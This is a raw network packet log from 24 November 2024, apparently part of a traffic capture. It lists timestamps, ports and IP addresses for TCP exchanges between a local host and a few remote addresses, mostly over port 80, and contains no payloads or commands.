Nov 24, 2024 19:11:54.659236908 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.659297943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.659394026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.659504890 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.660283089 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.660346985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.660475016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.660636902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.661096096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.661137104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.661214113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.661261082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.661997080 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.662072897 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.662132025 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.662201881 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.662911892 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.662964106 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.662988901 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.663038015 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.663688898 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.663738012 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.663738966 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.663789988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.664896011 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.664944887 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.665005922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.665046930 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.665663958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.665676117 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.665720940 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.666332960 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.666424036 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.674920082 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.675235033 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.675293922 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.675839901 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.676709890 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.676810980 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.676862001 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.691823959 CET	49810	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.711613894 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.711636066 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.711677074 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.711698055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.711839914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.711852074 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.711885929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.711895943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.712714911 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.712766886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.712805033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.712898016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.713650942 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.713700056 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.713716030 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.713753939 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.714567900 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.714629889 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.714711905 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.714752913 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.715572119 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.715651035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.715672970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.715787888 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.716337919 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.716382980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.716403961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.716428041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.717149973 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.717194080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.717246056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.717288971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.718059063 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.718137980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.718138933 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.718177080 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.718981028 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.719033003 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.719178915 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.719237089 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.719820976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.719866991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.719885111 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.719928980 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.720706940 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.720748901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.720818996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.720866919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.721604109 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.721668005 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.721689939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.721733093 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.722489119 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.722542048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.722554922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.722594023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.723335981 CET	443	49809	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.724107981 CET	49809	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.726340055 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.726614952 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.726634026 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.727618933 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.727678061 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.728032112 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.728092909 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.728245974 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.728255987 CET	443	49812	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.728445053 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.728960991 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.728975058 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.729935884 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.729996920 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.730603933 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.730664968 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.730792999 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.742811918 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.742826939 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.742875099 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.743172884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.743223906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.743258953 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.743299007 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.743921995 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.743989944 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.744031906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.744096041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.744816065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.744863033 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.744961977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.745012045 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.745655060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.745701075 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.745733976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.745897055 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.746548891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.746604919 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.746793032 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.746856928 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.747410059 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.747450113 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.747519970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.747562885 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.748307943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.748353004 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.748406887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.748451948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.749208927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.749253035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.749320984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.749368906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.750083923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.750129938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.750195026 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.750246048 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.750988007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.751035929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.751086950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.751127958 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.751880884 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.751926899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.751944065 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.751998901 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.752758980 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.752804041 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.752837896 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.752888918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.753690958 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.753737926 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.753743887 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.753925085 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.754549980 CET	49815	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.754550934 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.754580021 CET	443	49815	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.754601955 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.754647017 CET	49815	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.754693985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.754735947 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.754806995 CET	49815	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.754817963 CET	443	49815	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.755431890 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.755482912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.755554914 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.755600929 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.756331921 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.756381035 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.756403923 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.756495953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.769608974 CET	49812	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.771358967 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.776346922 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.776379108 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.776406050 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.776428938 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.776720047 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.776765108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.776797056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.776846886 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.777559996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.777615070 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.777950048 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.777997971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.778006077 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.778053999 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.778935909 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.778997898 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.779026985 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.779105902 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.779864073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.779915094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.779968977 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.780016899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.780836105 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.780852079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.780889988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.780908108 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.781682014 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.781732082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.781734943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.781779051 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.782476902 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.782526016 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.782573938 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.782650948 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.783431053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.783473969 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.783483982 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.783514023 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.784089088 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.784138918 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.784193039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.784245968 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.784863949 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.784876108 CET	443	49813	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.785800934 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.786077976 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.786119938 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.789304018 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.789622068 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.789661884 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.789736032 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.789824963 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.790008068 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.790185928 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.790425062 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.790443897 CET	443	49811	13.107.246.40	192.168.2.8
Nov 24, 2024 19:11:54.791142941 CET	49799	443	192.168.2.8	23.209.72.40
Nov 24, 2024 19:11:54.791172028 CET	443	49799	23.209.72.40	192.168.2.8
Nov 24, 2024 19:11:54.830908060 CET	49811	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.830990076 CET	49813	443	192.168.2.8	13.107.246.40
Nov 24, 2024 19:11:54.847377062 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.847415924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.847445965 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.847465038 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.847676992 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.847728968 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.847875118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.847918987 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.847984076 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.848115921 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.848777056 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.848864079 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.848880053 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.848921061 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.849669933 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.849718094 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.849778891 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.849819899 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.850554943 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.850601912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.850656033 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.850703001 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.851430893 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.851480961 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.851488113 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.851655006 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.852349043 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.852394104 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.852432013 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.852518082 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.853260994 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.853308916 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.853332996 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.853384972 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.854120016 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.854171991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.854229927 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.854276896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.855103970 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.855149984 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.855196953 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.855890989 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.855953932 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.855974913 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.856020927 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.856817007 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.856874943 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.856952906 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.857008934 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.857892036 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.857940912 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.858022928 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.858077049 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.858561039 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.858630896 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.915287018 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.915370941 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.915420055 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.915462971 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.915478945 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.915543079 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.915585995 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.916028976 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.916047096 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.916090012 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.916100979 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.916944981 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.917048931 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.917100906 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.917114019 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.917834044 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.917984009 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.918040991 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.918683052 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.918790102 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.918843985 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.918854952 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.919606924 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.919675112 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.919707060 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.919790030 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.920643091 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.920663118 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.920691967 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.920706034 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.921381950 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.921436071 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.921472073 CET	80	49750	185.215.113.206	192.168.2.8
Nov 24, 2024 19:11:54.921514988 CET	49750	80	192.168.2.8	185.215.113.206
Nov 24, 2024 19:11:54.922251940 CET	80	49750	185.215.113.206	192.168.2.8
